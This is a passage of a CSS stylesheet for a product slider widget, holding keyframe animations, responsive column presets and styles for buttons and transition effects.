}

100% {

z-index:1;

visibility:visible;

-webkit-transform:translateZ(0px)

}

}

@keyframes showRight {

0% {

transform:translateZ(-400px)

}

40% {

z-index:-1;

transform:translate(40%, 0) scale(0.8) rotateY(-20deg)

}

41% {

z-index:1

}

100% {

z-index:1;

visibility:visible;

transform:translateZ(0px)

}

}

@-webkit-keyframes scaleDown {

100% {

opacity:0;

-webkit-transform:scale(0)

}

}

@keyframes scaleDown {

100% {

opacity:0;

transform:scale(0)

}

}

@-webkit-keyframes scaleIn {

0% {

opacity:0;

-webkit-transform:scale(1.2)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:scale(1)

}

}

@keyframes scaleIn {

0% {

opacity:0;

transform:scale(1.2)

}

100% {

visibility:visible;

opacity:1;

transform:scale(1)

}

}

@-webkit-keyframes flipOut {

50% {

opacity:0;

-webkit-transform:rotateY(90deg)

}

100% {

opacity:0;

-webkit-transform:rotateY(90deg)

}

}

@keyframes flipOut {

50% {

opacity:0;

transform:rotateY(90deg)

}

100% {

opacity:0;

transform:rotateY(90deg)

}

}

@-webkit-keyframes flipIn {

0% {

opacity:0;

-webkit-transform:rotateY(-90deg)

}

50% {

opacity:0;

-webkit-transform:rotateY(-90deg)

}

75% {

visibility:visible;

opacity:1;

-webkit-transform:rotateY(15deg);

-webkit-animation-timing-function:ease-in

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:rotateY(0deg)

}

}

@keyframes flipIn {

0% {

opacity:0;

transform:rotateY(-90deg)

}

50% {

opacity:0;

transform:rotateY(-90deg)

}

75% {

visibility:visible;

opacity:1;

transform:rotateY(15deg);

animation-timing-function:ease-in

}

100% {

visibility:visible;

opacity:1;

transform:rotateY(0deg)

}

}

@-webkit-keyframes moveToBack {

100% {

-webkit-transform:translateX(-60%) scale(0.8)

}

}

@keyframes moveToBack {

100% {

transform:translateX(-60%) scale(0.8)

}

}

@-webkit-keyframes moveToBack {

100% {

-webkit-transform:translateX(-60%) scale(0.8)

}

}

@-webkit-keyframes moveToFront {

0% {

-webkit-transform:translateX(100%) scale(0.8)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:translateX(0%) scale(1)

}

}

@keyframes moveToFront {

0% {

transform:translateX(100%) scale(0.8)

}

100% {

visibility:visible;

opacity:1;

transform:translateX(0%) scale(1)

}

}

.sp-manu-slider .preset02-1 .vpo-wrap {

	width:100%;

	margin:0

}

.sp-manu-slider .preset02-1 .vpo-wrap .vp {

	margin-right:0

}

.sp-manu-slider .preset02-1 .vpo-wrap .vp .item {

	float:left;

	margin:0;

	width:100%

}

.sp-manu-slider .preset02-2 .vpo-wrap {

	width:50%;

	margin:0 -50% 0 0

}

.sp-manu-slider .preset02-2 .vpo-wrap .vp {

	margin-right:-100%

}

.sp-manu-slider .preset02-2 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:48%

}

.sp-manu-slider .preset02-3 .vpo-wrap {

	width:33.3333%;

	margin:0 -66.6666% 0 0

}

.sp-manu-slider .preset02-3 .vpo-wrap .vp {

	margin-right:-200%

}

.sp-manu-slider .preset02-3 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:31.3333%

}

.sp-manu-slider .preset02-4 .vpo-wrap {

	width:25%;

	margin:0 -75% 0 0

}

.sp-manu-slider .preset02-4 .vpo-wrap .vp {

	margin-right:-300%

}

.sp-manu-slider .preset02-4 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:23%

}

.sp-manu-slider .preset02-5 .vpo-wrap {

	width:20%;

	margin:0 -80% 0 0

}

.sp-manu-slider .preset02-5 .vpo-wrap .vp {

	margin-right:-400%

}

.sp-manu-slider .preset02-5 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:18%

}

.sp-manu-slider .preset02-6 .vpo-wrap {

	width:16.6666%;

	margin:0 -83.3333% 0 0

}

.sp-manu-slider .preset02-6 .vpo-wrap .vp {

	margin-right:-500%

}

.sp-manu-slider .preset02-6 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:14.6666%

}

@media all and (max-width:320px) {

.sp-manu-slider .preset05-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-manu-slider .preset05-1 .vpo-wrap .vp {

margin-right:0

}

.sp-manu-slider .preset05-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-manu-slider .preset05-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-manu-slider .preset05-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-manu-slider .preset05-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-manu-slider .preset05-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-manu-slider .preset05-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-manu-slider .preset05-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-manu-slider .preset05-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-manu-slider .preset05-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-manu-slider .preset05-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-manu-slider .preset05-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-manu-slider .preset05-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-manu-slider .preset05-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-manu-slider .preset05-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-manu-slider .preset05-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-manu-slider .preset05-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

}

@media all and (max-width:479px) {

.sp-manu-slider .preset04-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-manu-slider .preset04-1 .vpo-wrap .vp {

margin-right:0

}

.sp-manu-slider .preset04-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-manu-slider .preset04-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-manu-slider .preset04-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-manu-slider .preset04-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-manu-slider .preset04-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-manu-slider .preset04-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-manu-slider .preset04-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-manu-slider .preset04-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-manu-slider .preset04-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-manu-slider .preset04-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-manu-slider .preset04-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-manu-slider .preset04-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-manu-slider .preset04-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-manu-slider .preset04-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-manu-slider .preset04-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-manu-slider .preset04-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

}

@media all and (min-width:480px) and (max-width:767px) {

.sp-manu-slider .preset03-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-manu-slider .preset03-1 .vpo-wrap .vp {

margin-right:0

}

.sp-manu-slider .preset03-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-manu-slider .preset03-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-manu-slider .preset03-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-manu-slider .preset03-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-manu-slider .preset03-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-manu-slider .preset03-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-manu-slider .preset03-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-manu-slider .preset03-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-manu-slider .preset03-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-manu-slider .preset03-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-manu-slider .preset03-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-manu-slider .preset03-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-manu-slider .preset03-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-manu-slider .preset03-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-manu-slider .preset03-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-manu-slider .preset03-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

}

@media all and (min-width:780px) and (max-width:1199px) {

.sp-manu-slider .preset02-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-manu-slider .preset02-1 .vpo-wrap .vp {

margin-right:0

}

.sp-manu-slider .preset02-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-manu-slider .preset02-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-manu-slider .preset02-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-manu-slider .preset02-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-manu-slider .preset02-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-manu-slider .preset02-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-manu-slider .preset02-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-manu-slider .preset02-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-manu-slider .preset02-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-manu-slider .preset02-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-manu-slider .preset02-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-manu-slider .preset02-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-manu-slider .preset02-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-manu-slider .preset02-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-manu-slider .preset02-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-manu-slider .preset02-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

}

@media all and (min-width:1200px) {

.sp-manu-slider .preset01-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-manu-slider .preset01-1 .vpo-wrap .vp {

margin-right:0

}

.sp-manu-slider .preset01-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-manu-slider .preset01-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-manu-slider .preset01-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-manu-slider .preset01-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-manu-slider .preset01-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-manu-slider .preset01-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-manu-slider .preset01-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-manu-slider .preset01-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-manu-slider .preset01-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-manu-slider .preset01-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-manu-slider .preset01-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-manu-slider .preset01-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-manu-slider .preset01-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-manu-slider .preset01-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-manu-slider .preset01-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-manu-slider .preset01-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

}

.sp-manu-slider {

	position:relative

}

.sp-manu-slider .new-box {

	left:-3px

}

.sp-manu-slider.sp-preload {

	height:300px;

	position:relative;

	overflow:hidden

}

.sp-manu-slider.sp-preload .sp-loading {

	position:absolute;

	z-index:10;

	background:url(../images/loading.gif) no-repeat scroll center center #FFF;

	top:0;

	bottom:0;

	width:100%

}

.sp-manu-slider .slider {

	overflow:hidden;

	position:relative;

	margin:0 -6px;

	z-index:8

}

.sp-manu-slider .slider .item {

	background-size:100% 100%

}

.sp-manu-slider .slider .item img {

	width:100%;

	vertical-align:middle

}

.sp-manu-slider .slider .item img:hover {

	cursor:pointer

}

.sp-manu-slider .slider .vpo-wrap .vp {

	position:relative;

	overflow:hidden;

	height:auto

}

.sp-manu-slider .slider .vpo-wrap .vp .vpi-wrap {

	white-space:nowrap;

	font-size:0 !important;

	position:absolute;

	top:0;

	left:0;

	width:100%;

	height:100%

}

.sp-manu-slider .slider .vpo-wrap .vp .item {

	margin-bottom:2%;

	display:inline-block;

	font-size:medium;

	white-space:normal;

	vertical-align:top;

	float:none

}

.sp-manu-slider .slider .vpo-wrap .vpi-wrap:after {

	display:block;

	height:0;

	line-height:0;

	content:'';

	clear:both

}

.sp-manu-slider .not-js .vpo-wrap, .sp-manu-slider .not-js .vpo-wrap .vp, .sp-manu-slider .not-js .vpo-wrap .vp .vpi-wrap, .sp-manu-slider .not-js .vpo-wrap .vp .item {

	position:static

}

.sp-manu-slider .not-js .vpo-wrap .vp .item {

	float:left

}

.sp-manu-slider #to li a {

	outline:none

}

.page-title-manu {

	color:#2E2C2D;

	text-transform:uppercase;

	font-size:13px;

	font-weight:bold;

	overflow:hidden;

	width:75%;

	margin:10px 0 8px 0

}

.sp-manu-slider .control-button {

	list-style:none outside none;

	margin-bottom:0;

	margin-left:0

}

.sp-manu-slider .page-button .control-button {

	text-indent:-999999px;

	margin-bottom:0;

	position:relative;

	height:100%

}

.sp-manu-slider .page-button.top, .sp-manu-slider .page-button.bottom {

	margin-right:0

}

.sp-manu-slider .page-button .control-button .preview {

	background:url(../images/button-image.png) no-repeat;

	width:24px;

	height:15px;

	opacity:0.5;

	filter:alpha(opacity=50);

	position:absolute;

	right:30px;

	padding:0;

	margin:0;

	z-index:9

}

.sp-manu-slider .page-button .control-button .next {

	background:url(../images/button-image.png) no-repeat -30px 0;

	width:26px;

	height:15px;

	opacity:0.5;

	filter:alpha(opacity=50);

	position:absolute;

	right:0;

	padding:0;

	margin:0;

	z-index:9

}

.sp-manu-slider .page-button.top .control-button .preview, .sp-manu-slider .page-button.top .control-button .next {

	bottom:10px

}

.sp-manu-slider .page-button.middle {

	right:10px;

	left:10px;

	position:absolute;

	top:0;

	bottom:0

}

.sp-manu-slider .page-button .control-button {

}

.sp-manu-slider .page-button.bottom .control-button .preview, .sp-manu-slider .page-button.bottom .control-button .next {

	top:10px

}

.sp-manu-slider .page-button.middle .control-button .preview {

	top:50%;

	z-index:9;

	left:0

}

.sp-manu-slider .page-button.middle .control-button .next {

	top:50%;

	z-index:9;

	right:0

}

.sp-manu-slider .page-button.style2 .control-button .preview {

	background-position:-180px 0;

	width:22px;

	height:20px;

	right:21px;

	z-index:9

}

.sp-manu-slider .page-button.style2 .control-button .next {

	background-position:-210px 0;

	width:22px;

	height:20px;

	z-index:9

}

.sp-manu-slider .page-button.style3 .control-button .preview {

	background-position:-60px 0;

	width:14px;

	height:21px;

	right:15px;

	z-index:9

}

.sp-manu-slider .page-button.style3 .control-button .next {

	background-position:-90px 0;

	width:12px;

	height:21px;

	z-index:9

}

.sp-manu-slider .page-button .control-button .preview:hover, .sp-manu-slider .page-button .control-button .next:hover, .sp-manu-slider .page-button.style2 .control-button .preview:hover, .sp-manu-slider .page-button.style2 .control-button .next:hover {

	cursor:pointer;

	opacity:1;

	filter:alpha(opacity=100)

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap {

	width:100%;

	position:relative

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-img {

	border:1px solid #DDDDDD;

	padding:9px

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-img:hover {

	-webkit-box-shadow:rgba(0, 0, 0, 0.17) 0 0 13px;

	-moz-box-shadow:rgba(0, 0, 0, 0.17) 0 0 13px;

	-o-box-shadow:rgba(0, 0, 0, 0.17) 0 0 13px;

	box-shadow:rgba(0, 0, 0, 0.17) 0 0 13px

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info {

	margin-top:10px;

	font-size:14px

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-title {

	margin-bottom:5px;

	text-transform:uppercase

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-content {

	margin:0

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-content .item-des {

	margin-bottom:5px

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-content .item-details {

	text-align:right

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight {

	position:absolute;

	left:0;

	bottom:0;

	padding:10px 0 10px 0;

	width:100%

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-inner {

	position:relative;

	padding:8px 10px 0 10px;

	overflow:hidden;

	margin-right:10px;

	margin-left:10px

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-content, .sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-content a, .sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-title a, .sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-title {

	position:relative;

	color:white;

	z-index:2

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-content {

	padding-bottom:2px;

	height:0;

	-webkit-transition:all 3s;

	-moz-transition:all 3s;

	-ms-transition:all 3s;

	-o-transition:all 3s;

	transition:all 3s;

	float:left

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight:hover .item-content {

	height:auto

}

.sp-manu-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-bg {

	position:absolute;

	bottom:0;

	left:0;

	background:#000;

	opacity:0.7;

	filter:alpha(opacity=70);

	height:100%;

	width:100%;

	z-index:1

}

.sp-manu-slider .item-review {

	margin:0 0 5px 0;

	line-height:22px

}

.sp-manu-slider .item-review .ratings .rating-links, .sp-manu-slider .item-review .ratings {

	margin:0 0 0 0

}

.sp-manu-slider .item-price {

	margin:0 0 5px 0;

	line-height:22px

}

.sp-manu-slider .add-to-links {

	list-style:none outside none;

	margin:0;

	padding:0

}

.sp-manu-slider .ratings .rating-box {

	margin-right:5px

}

.sp-manu-slider .item-review {

	vertical-align:middle;

	overflow:hidden

}

.sp-manu-slider .item-btn-addtocart {

	margin-bottom:5px

}

.pre-text {

	margin:15px 0

}

.post-text {

	margin:15px 0

}

.sp-manu-slider .control-button:after {

	clear:both

}

.sp-manu-slider .control-button:before, .sp-manu-slider .control-button:after {

	content:"";

	display:table

}

.ratings .rating-box {

	float:left;

	margin:2px 10px 0 0

}

.cf:before, .cf:after {

	content:" ";

	display:table

}

.cf:after {

	clear:both

}

.sp-manu-slider .content_price {

	margin-bottom:10px

}

.sp-manu-slider .item .item-wrap:nth-child(2) {

z-index:1;

visibility:hidden

}

.sp-manu-slider .tt-effect-active .item .item-wrap {

	pointer-events:none

}

.tt-effect-fall.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:fallDown 0.6s forwards;

animation:fallDown 0.6s forwards

}

.tt-effect-fall.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-fall.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:scaleUpFadeIn 0.6s forwards;

animation:scaleUpFadeIn 0.6s forwards

}

.tt-effect-fallrotate.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

z-index:10;

-webkit-transform-origin:0 0;

transform-origin:0 0;

-webkit-animation:fallRotate 0.6s ease-in forwards;

animation:fallRotate 0.6s ease-in forwards

}

.tt-effect-fallrotate.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-fallrotate.tt-effect-active .item.tt-empty .item-wrap {

visibility:visible

}

.tt-effect-fallrotate.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0;

	-webkit-animation:fadeIn 0.6s forwards;

	animation:fadeIn 0.6s forwards

}

.tt-effect-fallrotate .item:nth-child(4) {

z-index:1

}

.tt-effect-fallrotate .item:nth-child(5) {

z-index:2

}

.tt-effect-fallrotate .item:nth-child(6) {

z-index:3

}

.tt-effect-fallrotate .item:first-child {

	z-index:4

}

.tt-effect-fallrotate .item:nth-child(2) {

z-index:5

}

.tt-effect-fallrotate .item:nth-child(3) {

z-index:6

}

.tt-effect-scalerotate.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:scaleRotateOut 0.6s forwards;

animation:scaleRotateOut 0.6s forwards

}

.tt-effect-scalerotate.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-scalerotate.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:scaleRotateIn 0.6s forwards;

animation:scaleRotateIn 0.6s forwards

}

.tt-effect-scalerotate.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:scaleRotateIn 0.6s forwards;

animation:scaleRotateIn 0.6s forwards

}

.tt-effect-scalerotate .item:nth-child(-n+3) {

z-index:2

}

.tt-effect-scalerotate .item:nth-last-child(-n+3) {

z-index:1

}

.tt-effect-stackback .item {

	-webkit-perspective:1000px;

	perspective:1000px

}

.tt-effect-stackback .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-stackback.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:moveLeft 0.8s forwards;

animation:moveLeft 0.8s forwards

}

.tt-effect-stackback.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-stackback.tt-effect-active .item.tt-empty .item-wrap {

z-index:-1;

-webkit-animation:popUp 0.8s ease-in forwards;

animation:popUp 0.8s ease-in forwards

}

.tt-effect-stackback.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:moveLeft 0.8s forwards;

animation:moveLeft 0.8s forwards

}

.tt-effect-stackback.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0;

	-webkit-animation:fadeIn 0.8s forwards;

	animation:fadeIn 0.8s forwards

}

.tt-effect-3dflip .item {

	-webkit-perspective:1000px;

	perspective:1000px

}

.tt-effect-3dflip .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-3dflip.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-transform-origin:0 50%;

transform-origin:0 50%;

-webkit-animation:rotateOutLeft 0.6s forwards;

animation:rotateOutLeft 0.6s forwards

}

.tt-effect-3dflip.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-3dflip.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-transform-origin:100% 50%;

transform-origin:100% 50%;

-webkit-animation:rotateInRight 0.6s ease-in forwards;

animation:rotateInRight 0.6s ease-in forwards

}

.tt-effect-bringback .item {

	-webkit-perspective:1000px;

	perspective:1000px

}

.tt-effect-bringback .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-bringback.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:hideLeft 0.8s forwards;

animation:hideLeft 0.8s forwards

}

.tt-effect-bringback.tt-effect-active .item .item-wrap:nth-child(2) {

z-index:-1;

-webkit-animation:showRight 0.8s forwards;

animation:showRight 0.8s forwards

}

.tt-effect-bringback.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:hideLeft 0.8s forwards;

animation:hideLeft 0.8s forwards

}

.tt-effect-bringback.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0;

	-webkit-animation:fadeIn 0.8s forwards;

	animation:fadeIn 0.8s forwards

}

.tt-effect-superscale.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:scaleDown 0.6s ease-in-out forwards;

-o-animation:scaleDown 0.6s ease-in-out forwards;

animation:scaleDown 0.6s ease-in-out forwards

}

.tt-effect-superscale.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-superscale.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:scaleIn 0.6s ease-in-out forwards;

animation:scaleIn 0.6s ease-in-out forwards

}

.tt-effect-flip .item {

	-webkit-perspective:1500px;

	perspective:1500px

}

.tt-effect-flip .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-flip.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:flipOut 0.8s ease-in forwards;

animation:flipOut 0.8s ease-in forwards

}

.tt-effect-flip.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-flip.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:flipIn 0.8s ease-in forwards;

animation:flipIn 0.8s ease-in forwards

}

.tt-effect-frontrow .item {

	overflow:hidden

}

.tt-effect-frontrow.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:moveToBack 0.8s forwards;

animation:moveToBack 0.8s forwards

}

.tt-effect-frontrow.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-frontrow.tt-effect-active .item.tt-empty .item-wrap {

-webkit-animation:moveToFront 0.8s forwards;

animation:moveToFront 0.8s forwards

}

.tt-effect-frontrow.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0

}

.tt-effect-frontrow.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:moveToFront 0.5s forwards;

animation:moveToFront 0.5s forwards

}

.sp-manu-slider .tt-effect-delay.tt-effect-active .item:nth-child(2) .item-wrap {

-webkit-animation-delay:0.1s;

animation-delay:0.1s

}

.sp-manu-slider .tt-effect-delay.tt-effect-active .item:nth-child(3) .item-wrap {

-webkit-animation-delay:0.2s;

animation-delay:0.2s

}

.sp-manu-slider .tt-effect-delay.tt-effect-active .item:nth-child(4) .item-wrap {

-webkit-animation-delay:0.3s;

animation-delay:0.3s

}

.sp-manu-slider .tt-effect-delay.tt-effect-active .item:nth-child(5) .item-wrap {

-webkit-animation-delay:0.4s;

animation-delay:0.4s

}

.sp-manu-slider .tt-effect-delay.tt-effect-active .item:nth-child(6) .item-wrap {

-webkit-animation-delay:0.5s;

animation-delay:0.5s

}

.sp-manu-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(5) .item-wrap {

-webkit-animation-delay:0.1s;

animation-delay:0.1s

}

.sp-manu-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(4) .item-wrap {

-webkit-animation-delay:0.2s;

animation-delay:0.2s

}

.sp-manu-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(3) .item-wrap {

-webkit-animation-delay:0.3s;

animation-delay:0.3s

}

.sp-manu-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(2) .item-wrap {

-webkit-animation-delay:0.4s;

animation-delay:0.4s

}

.sp-manu-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(1) .item-wrap {

-webkit-animation-delay:0.5s;

animation-delay:0.5s

}

@-webkit-keyframes fallDown {

to {

opacity:0;

-webkit-transform:translateY(70%)

}

}

@keyframes fallDown {

to {

opacity:0;

transform:translateY(70%)

}

}

@-webkit-keyframes scaleUpFadeIn {

from {

opacity:0;

-webkit-transform:scale(0.8)

}

to {

	visibility:visible;

	opacity:1;

	-webkit-transform:scale(1)

}

}

@keyframes scaleUpFadeIn {

from {

opacity:0;

transform:scale(0.8)

}

to {

	visibility:visible;

	opacity:1;

	transform:scale(1)

}

}

@-webkit-keyframes slideOut {

from {

width:100%

}

to {

	width:0

}

}

@keyframes slideOut {

from {

width:100%

}

to {

	width:0

}

}

@-webkit-keyframes fadeOut {

from {

opacity:1

}

to {

	opacity:0

}

}

@keyframes fadeOut {

from {

opacity:1

}

to {

	opacity:0

}

}

@-webkit-keyframes fadeIn {

from {

opacity:0

}

to {

	opacity:1

}

}

@keyframes fadeIn {

from {

opacity:0

}

to {

	opacity:1

}

}

@-webkit-keyframes fallRotate {

0% {

-webkit-transform:translateY(0%) rotate(0deg);

-webkit-animation-timing-function:ease-in

}

40% {

-webkit-transform:translateY(0%) rotate(20deg);

-webkit-animation-timing-function:ease-out

}

60% {

-webkit-transform:translateY(0%) rotate(15deg);

opacity:1

}

100% {

-webkit-transform:translateY(150%) rotate(17deg);

opacity:0

}

}

@keyframes fallRotate {

0% {

transform:translateY(0%) rotate(0deg);

